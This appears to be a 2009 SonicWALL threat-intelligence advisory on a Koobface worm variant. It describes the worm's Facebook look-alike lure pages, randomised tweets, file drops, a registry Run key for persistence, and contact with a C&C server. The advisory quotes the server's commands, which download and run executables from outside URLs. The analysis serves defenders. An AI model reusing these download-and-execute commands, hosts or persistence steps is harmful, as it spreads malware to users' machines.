Back to overview

Threat intelligence

New Koobface worm variant (Aug 11, 2009)

by Security News

SonicWALL UTM Research team found a new variant of Koobface worm last week on August 7, 2009. It's packed using UPX.

There are three major enhancements in this new variant of Koobface,

a) Earlier drive-by sites had a page that looked like YouTube video page but now they have switched to a Facebook video look-alike page.

b) In past, the message tweeted was "My home video :) ", now they randomize it by adding "LOL", "HA-HA-HA", "OMFG!" etc, so each tweet is unique.

c) The link is also unique with an appended random number, so after URL shortening it is still unique:
hxxp://uppinorr.se/pub1icm0vies/? -> hxxp://bit.ly/

The malware performs following activities upon execution:

  • Deletes the original file that was downloaded and executed by the user

  • Drops files (Windows)ld12.exe, (Windows)prxid93ps.dat and executes ld12.exe

  • Creates a registry entry to ensure that it starts on system reboot:
    HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunsysldtray: "c:windowsld12.exe"

  • Checks for Internet connectivity by sending GET request to www.google.com

  • If Internet is available, it connects to the C&C server located at upr0306.com and receives command to download malicious files:

    #PID=1000
    STARTONCEIMG|http://web.reg.md/1/p.jpg
    STARTONCE|http://web.reg.md/1/prx.exe
    START|http://web.reg.md/1/pp.10.exe
    #BLACKLABEL
    EXIT

This malware is also known as Worm:Win32/Koobface.gen!D , Net-Worm.Win32.Koobface.bgr , Mal/KoobHeur-A .

SonicWALL Gateway AntiVirus provides protection against this malware via GAV: Koobface.BGR (Worm) signature.

Screenshots of Koobface worm drive-by sites in action can be seen below:

Facebook video page look-alike:

screenshot

Download of the Koobface worm when user attempts to download flash player:

screenshot

Page showing unique tweets with shortened malicious link:

screenshot

Share This Article

An Article By

Security News

The SonicWall Capture Labs Threat Research Team gathers, analyzes and vets cross-vector threat information from the SonicWall Capture Threat network, consisting of global devices and resources, including more than 1 million security sensors in nearly 200 countries and territories. The research team identifies, analyzes, and mitigates critical vulnerabilities and malware daily through in-depth research, which drives protection for all SonicWall customers. In addition to safeguarding networks globally, the research team supports the larger threat intelligence community by releasing weekly deep technical analyses of the most critical threats to small businesses, providing critical knowledge that defenders need to protect their networks.